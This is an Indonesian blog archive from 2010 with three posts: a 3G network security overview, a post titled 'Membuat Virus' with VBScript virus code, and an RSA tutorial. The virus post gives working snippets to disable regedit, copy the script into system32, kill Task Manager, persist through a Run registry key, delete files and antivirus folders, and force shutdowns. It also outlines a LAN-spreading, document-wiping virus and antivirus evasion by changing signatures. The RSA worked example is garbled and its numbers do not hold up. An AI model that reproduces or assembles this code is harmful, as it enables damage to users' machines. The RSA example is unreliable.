Rabu, 14 April 2010

SISTEM KEAMANAN JARINGAN 3G

Sistim komunikasi jaringan nirkabel generasi ketiga atau sering disebut jaringan 3G merupakan pengembangan dari sistem komunikasi jaringan nirkabel bergerak dari generasi kedua. Sistem ini dikenal dengan nama sistem Broadband Mobile Multimedia yang berbasis Universal Mobile Telecomunication System (UMTS). Tujuan diciptakannya jaringan komunikasi 3G yakni untuk menyediakan standar tertentu yang dapat melingkupi kebutuhan-kebutuhan aplikasi-aplikasi nirkabel yang sangat luas variasinya serta untuk menyediakan akses yang bersifat global.

Ciri-ciri Sistem Komunikasi 3G
Sistim komunikasi nirkabel 3G ini memiliki ciri-ciri sebagai berikut :

  • memiliki standar yang bersifat global atau mendunia;
  • memiliki kesesuaian atau kompatibilitas layanan dengan jaringan kabel lain;
  • memiliki kualitas yang tinggi baik suara, data, maupun gambar;
  • memiliki pita frekuensi yang berlaku umum di seluruh dunia;
  • memiliki kemampuan penjelajahan ke seluruh dunia;
  • memiliki bentuk komunikasi yang bersifat multimedia baik layanan maupun piranti penggunanya;
  • memiliki spektrum yang efisien;
  • memiliki kemampuan untuk evolusi ke sistem nirkabel generasi berikutnya;
  • memiliki laju data pake t 2 Mbps perangkat yang diam di tempat atau terminal, 384 kbps untuk kecepatan orang berjalan serta 144 kbps untuk kecepatan orang berkendaraan.

Jenis Sistem Komunikasi 3G
Sistem komunikasi 3G menggunakan jaringan layanan digital terpadu berpita lebar (BISDN) untuk mengakses jaringan-jaringan informasi seperti internet, basis data publik maupun data pribadi lainnya. Selain itu jaringan ini juga dioperasikan di berbagai wilayah, yang penduduknya padat maupun jarang serta melayani pengguna baik yang diam di tempat (steady/station), maupun yang bergerak dalam kendaraan berkecepatan tinggi (mobile). Istilah personal communication system (PCS) dan personal communication network (PCN) digunakan untuk menyatakan munculnya sistem generasi ketiga untuk perangkat-perangkat genggam khususnya ponsel. Nama lain dari teknologi tersebut yakni future public land mobile telecommunication systems dimana penggunaan di seluruh dunia dikenal dengan nama IMT 2000 dan UMTS. Berikut ini adalah penjelasan tentang beberapa sistim komunikasi yang termasuk
dalam sistem komunikasi jaringan 3G.

UMTS
UMTS adalah singkatan dari universal mobile telecommunication system merupakan suatu sistem komunikasi bergerak generasi ketiga yang diharapkan mampu memberi layanan sampai 2 Mbps dan pada frekuensi sekitar 2 GHz. Sistem UMTS yang diusulkan dibangun dari infrastruktur sistem-sistem bergerak (mobile) yang telah ada seperti global system for mobile communication (GSM), advance mobile phone system (AMPS), personal communication system (PCS) dan lain-lain yang berevolusi menuju UMTS. Forum UMTS memperkirakan komunikasi multimedia berbasis data akan menyumbang sekitar 60% pada lalu lintas komunikasi dalam jaringan komunikasi bergerak generasi ketiga.

EDGE
Enhanced data rates for global evolution (EDGE) merupakan hasil pengembangan dari GPRS generasi 2,5. EDGE memungkinkan operator menyediakan layanan data pada kecepatan sampai 384 kbps. EDGE merupakan salah satu standar nirkabel data yang diimplementasikan pada jaringan selular GSM serta merupakan tahapan lanjutan evolusi menuju mobile multi media communication . Sistem ini memungkinkan jaringan memiliki kecepatan transmisi data sampai 126 kbps dan menjadi teknologi transmisi data paling cepat. Menurut GSM World Association , EDGE juga dapat me ncapai kecepatan hingga 473,8 kbps. Selain peningkatan kecepatan pengiriman data, sistem ini juga dapat meningkatkan kapasitas transmisi data. Kemampuan EDGE mencapai 3-4 kali kecepatan akses jalur kabel telepon (sekitar 30-40 kbps) dan hampir 2 kali lipat kecepatan cdma 2000 1x (sekitar 70-80 kbps).

CDMA 2000
Teknologi Code Division Multiple Access (CDMA) merupakan salah satu alternatif dari arsitektur GSM seluler. Kedua tipe jaringan tersebut membuat transisi ke sistem generasi ketiga (3G) dengan menawarkan layanan kapasitas yang lebih dan layanan data. Teknologi CDMA mendesak agar sistem pada 3G seperti cdma2000 1x dan cdma2000 1x EV-DO segera diimplementasikan. Perkembangan sistem komunikasi jaringan cdma2000 melalui 1x dikenal dengan nama CDMA2000 1xEV. Sistem 1xEV akan dibagi dalam dua step yakni: 1) 1xEV-DO dan 2) 1xEV-DV. Sistim 1xEV-DO adalah singkatan dari 1x evolution data only sedangkan 1xEV-DV adalah singkatan dari 1x evolution data and voice.

CDMA 2000 1xEV-DO dan 1xEV-DV merupakan perkembangan dari cdma2000 1xEV dengan maksud untuk memberikan layanan yang lebih baik pada cdma2000 menggunakan standar 1.25 MHz. Sistim 1xEV-DO sudah dapat digunakan ole h operator cdma2000 sekitar tahun 2002, dan akan menyediakan kapasitas data lebih besar pada sistim 1x. Sistim 1xEVDO mensyaratkan pengantaran data yang terpisah, namun mampu melakukan hand-off ke pengantar 1x jika layanan data dan suara secara simultan dibutuhkan. Melalui pengalokasian pengantaran data secara terpisah, operator akan mampu mengantar data pada patokan puncak sampai 2 Mbps ke pelanggan. Sistim cdma2000 1xEV-DV akan membuat layanan data dan suara untuk cdma2000 menjadi satu. Sistim 1xEV-DV akan memberikan kecepatan pengantaran data dan suara yang tinggi secara bergantian juga mengantar layanan paket secara realtime.

WCDMA
WCDMA adalah singkatan dari Wideband CDMA yang diperkenalkan secara umum pada tahun 2001-2002 di Jepang dan selanjutnya memasuki daratan eropa. Di Amerika Serikat beberapa alternatif sistim jaringan komunikasi 3G dapat diperoleh operator GSM dan TDMA yang berkembang ke arah EDGE dengan WCDMA. WCDMA merupakan sistim operasi generasi ketiga (3G) yang beroperasi pada bandwidth 5 MHz. Rata-rata data sampai 384 kbps untuk area jangkauan yang cukup luas. Variasi penyebaran dan operasi multi kode telah digunakan untuk mendukung banyaknya perbedaan batasan access radio. Perbedaan kelas layanan telah didukung oleh Quality of Service (QoS).

IEEE.802.20
Standar IEEE 802.20 merupakan suatu standar baru yang dapat merubah arah jaringan nirkabel. Standar IEEE 802.20 ditujukan untuk local and metropolitan area networks dengan spesifikasi antara lain menawarkan perluasan range untuk broadband wireless meskipun tidak kompatibel dengan layanan seluler yang ada. Standar 802.20 merupakan packet-based system yang optimal untuk transmisi data. Spesifikasi layer fisik dan layer medium accsess control (MAC) dari interface udara untuk interoperable mobile broadband wireless access system dioperasikan dalam band yang terlisensi dibawah 3.5 GHz. Pengoptimalan untuk IP transfer data, dengan rata-rata puncak data per pengguna pada perpanjangan dari 1 Mbps. Hal ini mendukung pengelompokan vehicular mobility sampai pada 250 km/h pada lingkungan MAN dengan harapan terjadi efisiensi, mempertahankan rata-rata pengguna data dan jumlah pengguna aktif yang secara signifikan lebih tinggi dibanding pencapaian melalui mobile system yang telah ada.

Prinsip-prinsip Sistim Keamanan 3G
Terdapat tiga prinsip kunci pada sistim keamanan jaringan komunikasi generasi ketiga (3G)
yakni :

  • sistim keamanan 3G dibangun pada sistim keamanan generasi kedua. Elemen-elemen sistim keamanan dalam GSM dan sistem yang lain pada generasi kedua yang telah teruji kuat penting untuk diadopsi untuk sistim keamanan 3G;
  • sistim keamanan 3G memperbaiki sistim keamanan generasi kedua yang artinya bahwa sistim keamanan 3G memusatkan perhatian dan melakukan koreksi terhadap kekurangan pada generasi kedua;
  • sistim keamanan 3G menawarkan feature sistim keamanan dan layanan baru.

Tujuan Sistim Keamanan 3G
Terdapat beberapa tujuan dari sistim keamanan jaringan komunikasi generasi ketiga (3G) antara lain :

  • untuk menjamin bahwa informasi melalui atau yang berhubungan ke pengguna terlindungi secara seimbang dari kesalahan penggunaan atau kejahatan lain;
  • untuk menjamin perlindungan terhadap sumber daya dan layanan yang diberikan melalui jaringan maupun lingkungan rumah secara seimbang terhadap kesalahan penggunaan
  • untuk menjamin standarisasi layanan sehingga memungkinkan kompatibel dengan dunia luas;
  • untuk menjamin keamanan terstandar secara seimbang untuk menjamin interoperabilitas secara dunia luas serta roaming antara layanan jaringan yang berbeda;
  • untuk menjamin tingkat perlindungan lebih baik bagi pengguna dan pemberi layanan baik jaringan fixed maupun yang mobile (termasuk GSM);
  • untuk menjamin perluasan dan peningkatan implementasi layanan keamanan 3GPP dengan mekanisme sebagaimana dipersyaratkan oleh usaha layanan.

Peran Sistim Keamanan 3G
Peran sistim keamanan pada jaringan komunikasi 3G yakni merupakan usaha memampukan sistim keamanan itu sendiri untuk diidentifikasi dan berhubungan dengan
persyaratan keamanan yang dibangun secara sistematik. Peran sistim keamanan direpresentasikan dari entitas yang logis, pelaku bisnis, manusia dan mesin fisik. Terdapat beberapa kelompok yang terlibat dalam penentuan serta menggunakan sistim keamanan 3G dikelompokkan dalam satu entitas. Sebagai contoh perusahaan tertentu mungkin melakukan aksi untuk sistim keamanan lingkungan rumah dan sistim keamanan layanan jaringan. Maka hal tersebut diasumsikan sama dengan seseorang yang ingin menjadi subscriber dan user. Dengan demikian domain yang ada untuk suatu sistim keamanan lingkungan rumah maupun layanan jaringan yakni domain user dan domain infrastruktur.

Elemen Sistim Keamanan 2G Dipertahankan 3G
Elemen-elemen dari sistim keamanan 2G yang dipertahankan pada sistim keamanan 3G
antara lain :

  • Authentification pengguna untuk akses layanan yakni jika terjadi ketidak-seimbangan algoritma yang mana terkait dengan otentifikasi;
  • Encryption interface radio. Kekuatan dari enkripsi menjadi lebih besar bila dibandingkan dengan yang digunakan pada sistim keamanan generasi kedua (kekuatan dimaksud adalah kombinasi panjang kunci dan desain algoritma);
  • Confidential identity subscriber pada radio interface. SIM yang removable dan hardware module sistim keamanan yang memiliki feature misalnya dapat dikelola oleh operator jaringan; dan independen dari terminal sebagaimana fungsi keamanan;
  • Aplikasi SIM, feature keamanan menyediakan jaminan kanal layer aplikasi antara SIM dan server jaringan rumah;
  • Feature operasi sistim keamanan sifatnya independen untuk pengguna, artinya bahwa pengguna tidak harus melakukan apapun untuk mengoperasikan feature keamanan.

Kelemahan Sistim Keamanan 2G Diperbaiki untuk 3G
Kelemahan-kelemahan pada generasi kedua GSM antara lain :

  • Penyerang yang aktif menggunakan "kekeliruan BTS" mungkin terjadi;
  • Cipher key dan otentifikasi data ditransmisikan secara jelas di antara dan di dalam jaringan;
  • Enkripsi tidak diperluas untuk hasil inti jaringan dalam transmisi cleartext dari pengguna dan sinyal data melewati links gelombang mikro (di GSM, dari BTS ke BSC);
  • User authentication yang menggunakan cipher key yang dikembangkan terlebih dahulu seperti RAND, SRES dan A3/8 tidak ada lagi;
  • Integritas data tidak disediakan. Integritas data akan gagal menghadapi penyerangan BTS tertentu yang keliru dan, tanpa adanya enkripsi, menyediakan perlindungan terhadap kanal hijack;
  • IMEI merupakan identitas yang tidak terjamin dan seharusnya disediakan;
  • Sistim pada generasi kedua tidak memiliki fleksibilitas untuk meningkatkan atau memperbaikai fungsi keamanan setia p waktu.

Rabu, 07 April 2010

Membuat Virus

Membuat Virus





COMPILER

Apa sih compiler ituh?????apa yah....kalo secara ilmiah saya gak bisa jelasin tapi biasanya

dipakai untuk menggenerate program yang akan dibuat. Misalnya sebuah source code di vsual

basic akan dijadikan sebuah software aplikasi atau program....maka source code tersebut

harus di-compile sedemikian rupa agar jadi sebuah aplikasi ato software dengan sebuah

compiler...

CIRI - CIRI PROGRAM COMPILER

Ciri-cirinya :

1) Dapat memodifikasi Caption program sehingga menjadi nama lain. Misalnya sebuah program

dicopy biasa dari komputer satu ke komputer lain maka captionnya akan sama...catatan bukan

nama apliaksi or .exe nya yang diubah...tapi judul program yang ada di atas apliaksi

tersebut.

2) Dapat mengganti gambar dari aplikasi tersebut. Misalnya gambar A.jpg diletakkan dalam

sebuah program. Kalau dicopy secara biasa, otomatis gambar A.jpg akan ter-copy juga ke

program tersebut. Tetapi bila dicompile...maka gambar dapat berubah.

FUNGSI PROGRAM COMPILER

Fungsi dari program compiler ini adalah :

1) Mengubah caption, sehingga jika suatu program dikunci oleh virus seperti regedit,

msconfig, ms Dos shell dan lain - lain dapat tetap dijalankan, karena fungsi dari compiler

tersebut merubah caption program. Biasanya virus mendeteksi dari caption program tersebut

untuk menendang atau mematikan program dalamkode pertahanan virus.

2) Buat seneng- seneng and nambah program ajah....hahahahahhahaha

CARA KERJA COMPILER SEDERHANA

cara kerjanya sangat mudah, seperti yang disebutkan bahwa compiler disini adalah sangat

sederhana sekalai. Sehingga masih menggunakan fasilitas dari VB berupa modul COPYFILE. Jadi

bukan dicompiler secara murni, jadi Algoritma nya :

1) Program Dijalankan
2) Program akan mengecek apakah file yang diperlukan untuk compiler ada...disini saya

memakai aplikasi rdfce.ext
3) Setelah menemukan file rdfce.ext maka program akan menjalankan modul COPYFILE untuk

menyalin isi dari text dan gambar
4) Kemudian program akan mencompile aplikasi dan mengeluarkan file output sesuai dengan

nama file...kalau disini defaultnya test.exe

Mudah kan.....

PENERAPAN

Hal jahat :

Bisa diterapkan di aplikasi virus, misalkan untuk memberi penanda pada virus yang akan

digandakan. Misalnya virus a diberi penanda karakter A, otomatis untuk menyebarkan virus

tersebut agar tidak terdeteksi antivirus, maka kita harus memberi penanda lain. Dengan

menjalankan modul compiler tersebut kita dapat memberi penanda virus A dengan karakter B.

Tul gak.

Hal Baik:

Bisa diterapkan di aplikasi pembunuh virus seperti show kill process. Anda bisa donlot

showkillprocess di www.virologi.info. Tapi biasanya sebuah virus sudah menandai, jika

showkillprocess.exe berjalan, maka program tersebut akan dimatikan (Seperti brontok yang

menendang apliaksi regedit). Nah dengan menjalankan modul compiler ini kita dapat mengubah

isi caption dari program showkillprocess.exe sehingga caption-nya berbeda dan aplikasi

tersebut tidak ditendang oleh virus tersebut.

BEDAH PROGRAM

di dalam source code ada sebuah variabel :

Dim PropBag As New PropertyBag

- yang berarti variabel bebas. Variabel ini berisi caption, gambar dan password yang akan

diberikan kepada file compiler tersebut.

With PropBag
.WriteProperty "Caption", txtCaption.Text
.WriteProperty "Text", txtText.Text
.WriteProperty "Picture", imgPic.Picture
.WriteProperty "Protected", chkPass.Value
.WriteProperty "Password", txtPass.Text
End With

- Nah disini kita bisa mengeset apakah caption, gambar atau password.

FileCopy App.Path & "\rdfce.ext", App.Path & "\" & txtExeFile.Text

- Menyalin file sumber dan meng-compile sesuai caption, gambar dan password

Open App.Path & "\" & txtExeFile.Text For Binary As #1
BeginPos = LOF(1)

varTemp = PropBag.Contents

Seek #1, LOF(1)
Put #1, , varTemp
Put #1, , BeginPos

Close #1

- Membuat file compiler sesuai nama yang diinginkan, kalau di sini defaultnya test.exe

Nah coba jalankan program tersebut, kemudian isi caption, gambar and password sesuai

keinginan deh...okay!!!!!

SOURCE CODE DAN PROGRAM DAPAT DIDOWNLOAD DI SINI :

a href="http://www.virologi.info/download/compiler.zip">SOURCE CODE DAN PROGRAM COMPILER

ALGORITMA VIRUS

ALGORITMA


  • cari file yang bersih.

  • periksa tanda pengenal. jika sma dengan id virus maka stop proses, cari file lain. Jika tidak lanjutkan proses.

  • Copykan kepala virus ke 3 byte awal file.

  • Cari file lain yang belum tertular. Jika ada ulangi proses awal, jika tidak proses selesai.

Contoh : algoritma virus attact dengan jebakan situs virus boom

Algoritmanya dapat digambarkan sbb:

  1. Virus ada di dalam situs. Dengan menggunakan Vbscript.

  2. Begitu user membuka maka virus akan diaktifkan.

  3. Akan dilakukan cek ip, apakah ada IP yang telah terdaftar dengan nama tertentu yang telah ditentukan. Jika memang tidak ada maka akan dilanjutkan ke pola selanjutnya.

  4. Virus akan mendownload sebuah file program yang akan ditanamkan ke sistem target.

  5. Virus akan mendeteksi beberapa komputer dalam LAN yang di share secara full akses. Dan mulai duplikasi.

  6. Setiap duplikasi akan memiliki 1 ip tertentu sebagai induk atau master penyerang sebagai kontak atau pengatur timer serangan.

  7. Jika dirasakan kondisi cukup tepat dimana jumlah komputer maksimal yang bisa diduplikasi, maka serangan akan dilakukan.

  8. Pertama yang dilakukan adalah menyerang data dokumen yang ada, yang biasanya ada di my document. Selain itu juga mencari file dokumen dengan ekstension doc, xls, jpg, gif, bmp, dat, dll

  9. Begitu menghapus data, maka kompi akan restart.

  10. Begitu restart, maka akan menghapus himem.sys dan folder windows.

  11. Tampilkan logo virus BOOM setelah selesai serangan secara full.

Setelah tahapan – tahapan di atas selesai maka Virus akan menghapus semua dokumen yang ada di komputer, mematikan windows, dan bisa juga melakukan penyusupan kedalam komputer lain dalam jaringan lokal sehingga bisa menyerang secara optimal

Algoritma dan Source Code Membuat Virus vbs


Berikut ini adalah hal-hal yang wajib kita siapkan sebelum membuat virus.

  • seperangkat komputer berikut monitor, cpu, mouse, kibor, dll.
  • kita harus menyiapkan sebuah file yang ber-ekstensi vbs (*.vbs)
  • secangkir teh anget.
  • akan lebih bagus jika dikerjakan sambil mendengarkan mp3 kesukaan.

Untuk langkah pertama, yang dilakukan virus biasanya mengubah registry, misalnya :

1. Mendisable regedit

Yang kita tulis:
On Error Resume Next(perintah ini digunakan pada file vb
supaya kalo ada yang salah bisa dilanjutin kode selanjutnya)
CreateObject(”WScript.Shell”).run “cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\policies\system /v
disableregistrytools /t reg_dword /d “”1″” /f”, vbhide

Sebenarnya banyak cara untuk mendisable regedit. misalnya kek gini:
CreateObject(”WScript.Shell”).regwriteHKEY_CURRENT_USERsoftware\microsoft\windows\currentversion\policies\systemdisableregistrytools”, 1, “REG_DWORD”

Lalu mengubah registry yang lain. yang nggak aku bahas disini karena
udah pernah aku bahas pada postingan yang lain di blogku ini.

2. Mengopikan diri ke direktory lain

CreateObject(”Scripting.FileSystemObject”).
GetFile(WScript.ScriptFullName).Copy “c:\windows\system32\virus.vbs”

Ada juga cara lain dengan kide seperti ini :
On Error Resume Next
createobject(”scripting.filesystemobject”).copyfile wscript.scriptfullname,
createobject(”scripting.filesystemobject”)
.getspecialfolder(1) & “\virus.vbs”

Misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary

3.Membunuh proses

Digunakan untuk membunuh proses
(proses adalah program yang sedang berjalan)
misalnya kita akan membunuh proses taskmanager

On Error Resume Next
CreateObject(”WScript.Shell”)
.run “taskkill /f /im taskmgr.exe”, vbhide

4.Menjalankan virus pada saat startup atau saat windows dihidupkan

Menggunakan regedit

On Error Resume Next
CreateObject(”WScript.Shell”).RegWrite “HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\CurrentVersion\Run\virus”
, “c:\windows\system32\virus.vbs”

(menjalankan virus yang berada di direktory c:\windows\system32
dengan nama virus.vbs)

5.Menghapus File / Folder

Agar virus yang kita buat tidak banyak menggunakan script bisa di singkat seperti ini :
On Error Resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\xxx.exe”
‘(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder “C:\antivirus” ‘(menghapus folder antivirus di direktory C:\)

6.Merestart Windows

CreateObject(”WScript.Shell”).run “shutdown -r -f -t 60″, vbhide
merestart windows dalam waktu 60 sekon

7.Meng-ShutDown Windows

CreateObject(”WScript.Shell”).run “shutdown -s-f -t 60″, vbhide

Mematikan windows dalam waktu 60 sekon yang beda cuman
“shutdown -
s-f -t 60″
S = untuk shutdown dan
R = untuk reboot\restart

8. Mengaktifkan Virus Pada Waktu tertentu

If day(now) = 1 and month(now) = 1 and year(now) = 2007 then
‘(masukkan kode virus disini)
End if
‘misalnya kalo mau mengaktifkan pada tanggal 1, bulan 1
dan tahun 2007'.

Ok, Pelajaran bikin virus untuk hari ini saya kira sudah cukup.
walaupun sudah sering dibahas.. tapi ga apa apa lah... itung-itung
buat menambah pengetahuan kita, dan semoga bermanfaat.

Enkripsi Menggunakan Algoritma RSA




Enkripsi Menggunakan Algoritma RSA


Sebagai media komunikasi umum, suatu jaringan
sangat rawan terhadap penyadapan, pencurian, dan
pemalsuan informasi. Proses pengiriman data pada
suatu jaringan harus menjamin keamanan dan
keutuhan, jika tidak, akan terjadi kemungkinan-kemungkinan
seperti yang dijelaskan sebelumnya.
Untuk itu salah satu cara untuk mengamankan data
dari kejadian-kejadian tersebut, diperlukan penyandian
terhadap data yang akan dikirim. Penyandian ini
sangat penting, apalagi dalam sektor-sektor strategis
seperti bisnis, perbankan, atau pemerintahan sangat
memerlukan teknologi penyandian Informasi.


Ilmu menyandi (kriptografi) sebetulnya adalah ilmu
yang sudah dikenal bahkan semenjak jaman Julius
Caesar (sebelum masehi). Ilmu ini tidak hanya
mencakup teknik-teknik menyandikan informasi,
tetapi juga teknik untuk membongkar sandi.



Enkripsi adalah suatu proses mengubah sebuah teks
murni (plaintext) menjadi sebuah runtutan karakter
atau data yang terlihat tidak berarti dan mempunyai
urutan bit yang tidak beraturan, disebut ciphertext.
Proses pengubahan kembali ciphertext menjadi plaintext disebut dekripsi.



Terdapat banyak algoritma penyandian di dunia ini,
yang paling banyak dipakai di dunia adalah DES dan
RSA. Di samping DES dan RSA, masih ada banyak
sandi lain seperti MD2 (dipakai GSM), IDEA, RC2,
dll. Akan tetapi, DES dan RSA adalah yang paling
populer dan paling banyak dipakai. 



RSA banyak dipakai oleh banyak perangkat lunak di
dunia, contohnya adalah pada program browser
internet MS Internet Explorer dan Netscape. Salah
satu sistem penyandian yang juga banyak dipakai
adalah DES (Data Encryption Standard). Mekanisme
kerja RSA cukup sederhana dan mudah mengerti,
tetapi kokoh. Sampai saat ini satu-satunya cara untuk
mendobraknya adalah dengan cara mencoba satu
persatu kombinasi kunci yang mungkin atau yang
biasa disebut brute force attack. Sehingga penentuan
tingkat keamanan suatu sandi dari kemungkinan
dibongkar adalah seberapa panjang dari sandi
(ukuran kunci) terebut. Karena jika semakin panjang
suatu kode, maka semakin banyak pula kombinasi
kunci yang mungkin ada.



RSA sendiri dibuat pada tahun 1978. RSA adalah
singkatan dari nama para penemunya, yaitu Ron
Rivest, Adi Shamir, dan Leonard Adleman. RSA
adalah salah satu algoritma penyandian yang paling
banyak mengundang kontroversi, selain DES. Sejauh
ini belum seorang pun yang berhasil menemukan
lubang sekuriti pada DES dan RSA, tetapi tak seorang
pun juga yang berhasil memberikan pembuktian
ilmiah yang memuaskan dari keamanan kedua teknik
sandi ini.



Untuk menyandi informasi dan untuk menerjemahkan
pesan tersandi sebuah algoritma penyandian
memerlukan sebuah data biner yang disebut kunci.
Tanpa kunci yang cocok orang tidak bisa
mendapatkan kembali pesan asli dari pesan tersandi.
Pada DES digunakan kunci yang sama untuk
menyandi (enkripsi) maupun untuk menterjemahan
(dekripsi), sedangkan RSA menggunakan dua kunci
yang berbeda. Isitilahnya, DES disebut sistem sandi
simetris sementara RSA disebut sistem sandi
asimetris. Kedua sistem ini memiliki keuntungan dan
kerugiannya sendiri. Sistem sandi simetris cenderung
jauh lebih cepat sehingga lebih disukai oleh sementara
kalangan industri. Kejelekannya, pihak-pihak yang
ingin berkomunikasi secara privat harus punya akses
ke sebuah kunci DES bersama. Walaupun biasanya
pihak-pihak yang terkait sudah saling percaya, skema
ini memungkinkan satu pihak untuk memalsukan
pernyataan dari pihak lainnya.



RSA yang menggunakan algoritma asimetrik
mempunyai dua kunci yang berbeda, disebut pasangan
kunci (key pair) untuk proses enkripsi dan dekripsi.
Kunci-kunci yang ada pada pasangan kunci
mempunyai hubungan secara matematis, tetapi tidak
dapat dilihat secara komputasi untuk mendeduksi
kunci yang satu ke pasangannya. Algoritma ini disebut
kunci publik, karena kunci enkripsi dapat disebarkan.
Orang-orang dapat menggunakan kunci publik ini, tapi
hanya orang yang mempunyai kunci privat sajalah
yang bisa mendekripsi data tersebut.



MEKA ISME DASAR KERJA RSA



Tingkat keamanan algoritma penyandian RSA sangat
bergantung pada ukuran kunci sandi tersebut (dalam
bit), karena makin besar ukuran kunci, maka makin
besar juga kemungkinan kombinasi kunci yang bisa
dijebol dengan metode mengencek kombinasi satu
persatu kunci atau lebih dikenal dengan istilah brute
force attack
. Jika dibuat suatu sandi RSA dengan
panjang 256 bit, maka metode brute force attack akan
menjadi tidak ekonomis dan sia-sia dimana para hacker pun tidak mau/sanggup untuk menjebol sandi
tersebut.



Proses Pembuatan Kunci



Dalam membuat suatu sandi, RSA mempunyai cara
kerja dalam membuat kunci publik dan kunci privat
adalah sebagai berikut :


  1. Pilih dua bilangan prima p dan q secara acak , p
    q. Bilangan ini harus cukup besar (minimal 100
    digit).

  2. Hitung N = pq. Bilangan N disebut parameter
    sekuriti
    .

  3. Hitung φ = (p-1)(q-1).

  4. Pilih bilangan bulat (integer) antara satu dan φ (1
    < e < φ) yang tidak mempunyai faktor pembagi
    dari φ.

  5. Hitung d hingga d e ≡ 1 (mod φ).



Keterangan :

  • Langkah 3 dan 4 dapat dihasilkan dengan cara
    algoritma Euclidean

  • Langkah 4 dapat dihasilkan dengan
    menemukan integer x sehingga d = (x(p-1)(q-1)
    + 1)/e menghasilkan bilangan bulat, kemudian
    menggunakan nilai dari d (mod (p-1)(q-1))



Setelah melalui cara ini, maka kita akan mendapatkan
kunci publik dan kunci privat. Kunci publik terdiri
dari dua elemen, yaitu :

  • N, merupakan modulus yang digunakan

  • e, eksponen publik atau eksponen enkripsi


dan kunci privat, yang terdiri dari :

  • N, merupakan modulus yang digunakan, sama
    seperti pada kunci publik

  • d, eksponen pribadi atau eksponen deskripsi,
    yang harus dijaga kerahasiaanya



Nilai p dan q sebaiknya dibuang atau dijaga
kerahasiaannya, karena terdapat N dimana p dan q adalah faktor pembagi dari N. Walaupun bentuk ini
memperbolehkan dekripsi secara cepat dan signing menggunakan Chinese Remainder Theorem (CRT),
hal ini mejadi lebih tidak aman karena bentuk ini
memperbolehkan side channel attacks. Side channel
attacks
adalah sebuah serangan yang berdasarkan
informasi yang dikumpulkan dari implementasi fisik
(atau kelemahan secara fisik) dari sebuah sistem
kriptografi, dibanding dengan kelemahan teoritis dari
algoritmanya sendiri. Sebagai contohnya, faktor-faktor
kurun waktu dari informasi, konsumsi tenaga, bahkan
suara yang ditimbulkan dapat membantu
mempermudah informasi yang bisa diambil untuk
menjebol sistem tersebut.



Proses Enkripsi Pesan



Misalkan pada suatu kasus si A ingin mengirim pesan
m kepada si B. A mengubah m menjadi angka n < N,
menggunakan protokol yang sebelumnya telah
disepakati dan dikenal sebagai padding scheme.
Padding scheme harus dibangun secara hati-hati
sehingga tidak ada nilai dari m yang menyebabkan
masalah keamanan. Contohnya, jika kita ambil contoh
sederhana dari penampilan ASCII dari m dan
menggabungkan bit-bit secara bersama-sama akan
menghasilkan n, kemudian pessan yang berisi ASCII
tunggal karakter NUL (nilai numeris 0) akan
menghasilkan n = 0, yang akan menghasilkan ciphertext 0 apapun itu nilai dari e dan N yang
digunakan.



Maka A mempunyai nilai n dan mengetahui N dan e,
yang telah diumumkan oleh B. A kemudian
menghitung ciphertext c yang terkait pada n :



c = ne mod N (1)



Perhitungan tersebut dapat diselesaikan dengan
menggunakan metode exponentation by squaring,
yaitu sebuah algoritma yang dipakai untuk komputasi
terhadap sejumlah nilai integer yang besar dengan
cepat. Kemudian A mengirimkan nilai c kepada B.



Proses Dekripsi Pesan



B sudah menerima c dari A, dan mengetahui kunci privat yang digunakan B. B kemudian mengembalikan nilai n dari c dengan langkah-langkah sebagai berikut :



n = cd mod N (2)



Perhitungan diatas akan menghasilkan n, dengan
begitu B dapat mengembalikan pesan semula m.
Prosedur dekripsi bekerja karena



cd ≡ (n)d ≡ (mod N) (3)



Kemudian, karena ed ≡ 1 (mod p-1) dan ed ≡ 1 (mod
q-1), hasil dari Fermat's little theorem.



ned ≡ n (mod p) (4)


dan



ned ≡ n (mod q) (5)



Karena p dan q merupakan bilangan prima yang
berbeda, mengaplikasikan Chinese remainder theorem akan menghasilkan dua macam kongruen



ned ≡ n (mod pq) (6)



Serta



cd ≡ n (mod N) (7)



Contoh Penghitungan RSA



Sekarang kita mencoba suatu contoh untuk mengenal
lebih dalam sistem kerja enkripisi RSA. Misalnya kita
mau mengenkripsi kata “SECRET” dengan RSA, lalu
kita dekripsi kembali ke dalam plaintext.



Karena p dan q berjumlah minimal 100 digit atau
lebih, nilai d dan e bisa berjumlah sama dengan 100
digit dan nilai N akan berjumlah 200 digit. Untuk itu
di contoh pemakaian berikut, kita akan memakai
angka-angka yang kecil agar mudah dalam
penghitungan. Cara pengerjaannya adalah :


  1. Kita pilih p = 3 dan q = 5

  2. Hitung N = pq = 3*5 = 15

  3. Nilai e harus merupakan bilangan prima yang
    lebih besar dan relatif dekat dengan (p-1)(q-1) =
    (2)(4) = 8, sehingga kita pilih e = 11. Angka 11
    adalah bilangan prima terdekat dan lebih besar
    daripada 8

  4. Nilai d harus dipilih sehingga

    (ed - 1)

    (p-1)(q-1)

    adalah sebuah integer. Lalu nilai

    (11d - 1) / [(2)(4)] = (11d - 1) / 8

    juga merupakan integer. Setelah melalui proses
    penghitungan, salah satu nilai yang mungkin
    adalah d = 3.

  5. Lalu kita masukkan kata yang akan dienkripsi,
    “SECRET”. Kita akan mengkonversi string ini ke
    representasi desimal menggunakan nilai karakter
    ASCII, yang akan menghasilkan nilai ASCII 83
    69 67 82 69 84

  6. Pengirim akan mengenkripsi setiap digit angka pada saat yang bersamaan menggunakan nilai kunci publik (e, n) = (11,15). Lalu setiap karakter ciphertext akan masuk ke persamaan

    Ci = Mid mod 15

    Yang akan menghasilkan nilai digit masukan adalah 0x836967826984 yang akan dikirim sebagai 0x2c696d286924


  7. Penerima akan mendekripsi setiap digit angka
    menggunakan nilai kunci privat (d, n) = (3, 15).
    Lalu, setiap karakter plaintext akan masuk
    persamaan

    Mi = Ci3 mod 15


    String masukan yang bernilai 0x2c696d286924,
    akan dikonversi kembail menjadi
    0x836967826984, dan akhirnya angka-angka
    tersebut akan diubah kembali menjadi bentuk
    string plaintext yang bernilai “SECRET”




Dari contoh di atas kita dapat menangkap suatu
kelemahan dari pemakaian p dan q yang bernilai kecil
